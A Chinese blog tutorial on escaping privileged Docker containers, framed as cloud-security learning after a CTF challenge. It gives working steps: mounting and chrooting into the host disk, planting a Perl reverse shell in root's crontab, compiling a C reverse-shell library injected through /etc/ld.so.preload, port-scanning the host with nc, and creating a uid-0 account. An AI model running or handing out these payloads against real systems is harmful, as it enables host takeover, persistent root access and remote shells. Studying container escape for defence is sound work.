云安全(1)--初识容器逃逸之特权容器逃逸

文章目录

前言

在10.15号的上海中华武数杯的渗透赛里做到了一个k8s的题目,这应该是我第一次在比赛里面实际做到云安全的题目(之前可能也有,记不清了)。但可能并不是很多人都了解云安全,这里我就简单在博客里面分享一点云安全的知识,从容器逃逸到k8s攻防,有兴趣的可以关注一下。

privileged,特权容器逃逸

这是云安全的第一章,那么自然要从特权容器开始。(如果你不会使用docker,也没有办法,我后面会简单介绍一下参数的含义)

特权容器在实战里面可能也会遇到,因为一些特殊的业务需求或者配置不当,导致容器可能被赋予了特权模式,如果这里容器用的是普通的runc容器非安全容器,那么存在逃逸的风险。

环境配置

复制代码
docker run -it --privileged ubuntu:18.04

--privileged 以特权模式运行容器

-it -i interactive 代表交互 -t --tty 这两个一起使用就代表我们直接进入到容器的交互终端里,如果不需要交互可以使用-d 代表后台运行

具体可以运行docker run --help去查看解释

实际利用

上面就代表我们的docker启动好了,由于是第一章,这里也介绍一下实战里我们怎么判断获取的shell到底是主机还是容器

复制代码
cat /proc/1/cgroup

可以看到有docker字眼

那我们就可以判断出来 环境是docker

后面就可以开始进行特权容器的逃逸

实际环境利用

如果查看到CapEff为0000003fffffffff代表为特权容器,可以逃逸

复制代码
cat /proc/1/status|grep CapEff
CapEff:	0000003fffffffff

逃逸方法,挂载宿主机根目录

复制代码
fdisk -l|grep Linux
mkdir /host
mount /dev/vda1 /host
chroot /host

这个时候只是文件系统层面逃逸,还没有彻底逃逸,需要用到接下来的方法

计划任务
/var/spool/cron/crontabs/ 适用于ubuntu debain
复制代码
ls -la /var/spool/cron/crontabs

如果目录存在,代表我们可以写一个crontab

复制代码
echo $'*/1 * * * * perl -e \'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

然后就是彻底逃逸了

/var/spool/cron 适用于centos
复制代码
ls -la /var/spool/cron/

如果目录存在,代表我们可以写一个crontab

复制代码
echo $'*/1 * * * * perl -e \'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/root
chmod 600 /var/spool/cron/root
ld.so.preload
复制代码
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h>
int tcp_port = 8080;
char *ip = "127.0.0.1";
__attribute__((destructor)) void test(){
	remove("/etc/ld.so.preload");
	int pid;
	if((pid=fork())==0){
        int fd;
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(tcp_port);
        addr.sin_addr.s_addr = inet_addr(ip);
        fd = socket(AF_INET, SOCK_STREAM, 0);
        connect(fd, (struct sockaddr*)&addr, sizeof(addr));
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);
        system("/bin/bash");
	}
}

gcc evil.c --shared -fPIC -o evil.so

上传evil.so到/tmp

复制代码
echo '/tmp/evil.so' >/etc/ld.so.preload

然后下次系统会自动load这个so,并且可以实现无感知注入,达到逃逸,不过这种注入还是需要类似有运维操作才可以触发,或者说有新进程创建

ssh

当文件系统逃逸到宿主机上,可以做端口扫描

复制代码
nc -nvz -w2  172.17.0.1 1-65535 2>&1|grep succeeded

如果发现宿主机开放了ssh服务,那我们可以直接ssh登陆到宿主机上实现逃逸

直接adduser

复制代码
adduser test
passwd test

同时可以修改/etc/passwd 把test uid改为0变成root

相关推荐
飞飞传输11 分钟前
业务系统文件安全检测怎么做?生物医药企业选型与建设指南
大数据·运维·安全
迪康软件zz1 小时前
终端审批体系怎么搭?从模板配置到业务连续性
运维·安全·自动化运维
Hum8le1 小时前
CTF题目《easy_web》(安洵杯 2019 变种 Web)
前端·安全·web安全
HackTwoHub2 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
梦帮科技2 小时前
【3.0】上线与运维:节点监控、水龙头、区块浏览器与安全清单
运维·安全·web安全·金融·区块链·密码学·安全架构
花 满 楼2 小时前
HSM自学之路——阶段5安全启动专题与实践
安全·嵌入式·汽车电子·hsm·安全启动
三8443 小时前
Fastjson 漏洞· 06 · 防御、审计与检测
安全·web安全·fastjson
qetfw3 小时前
Debian SSH 安全配置:端口、来源限制与免密登录
linux·安全·debian·ssh
砚凝霜4 小时前
【软考信息安全】第十二章 网络安全审计概述与分类
网络·安全·web安全
大鹏的NLP博客4 小时前
Rust 的本质:用数学约束实现编译期内存安全
安全·rust